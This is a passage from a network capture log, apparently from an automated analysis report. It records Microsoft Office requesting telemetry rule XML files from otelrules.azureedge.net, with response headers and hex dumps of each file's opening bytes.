2024-12-07 07:44:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:20 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 4471680c-501e-0047-7105-48ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074420Z-r1cf579d778d5zkmhC1EWRk6h80000000280000000001yyh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:20 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:20 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:20 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: af039603-701e-005c-3603-48bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074420Z-r1cf579d778v97q7hC1EWRf95c00000001e00000000011ku x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:20 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:21 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:22 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:22 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: be723ded-701e-0021-0f06-483d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074422Z-r1cf579d778w59f9hC1EWRze6w000000021g000000001k80 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:22 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:21 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:22 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:22 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 1e99177e-901e-0029-5406-48274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074422Z-r1cf579d7789trgthC1EWRkkfc00000002fg000000001abz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:22 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:21 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:22 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:22 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 40072cf2-b01e-001e-4a03-480214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074422Z-r1cf579d778dfdgnhC1EWRd3w000000001kg000000001w7r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:22 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:21 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:22 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:22 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 8337024b-c01e-0079-5d05-48e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074422Z-r1cf579d7786c2tshC1EWRr1gc00000001cg0000000026h6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:22 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:22 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:22 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:22 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: f1085035-901e-007b-3808-48ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074422Z-r1cf579d778w59f9hC1EWRze6w00000001y0000000003rnz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:22 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:24 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:24 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:24 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: a36eb884-e01e-0051-4c04-4884b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074424Z-r1cf579d7788pwqzhC1EWRrpd80000000220000000001kkh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:24 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:24 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:24 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:24 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 447ddde3-501e-0047-290a-48ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074424Z-r1cf579d7786c2tshC1EWRr1gc00000001cg0000000026k0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:24 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:24 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:24 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:24 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 848b85bb-b01e-0053-2106-48cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074424Z-r1cf579d778qlpkrhC1EWRpfc800000002ag000000004e61 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:24 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:24 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:24 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:24 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 1c840c04-c01e-0034-5806-482af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074424Z-r1cf579d778t6txphC1EWRsd4400000002a0000000000q9k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:24 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:24 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:25 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:24 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 5fa529d3-701e-0097-6308-48b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074424Z-r1cf579d778dfdgnhC1EWRd3w000000001h0000000002tav x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:25 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" 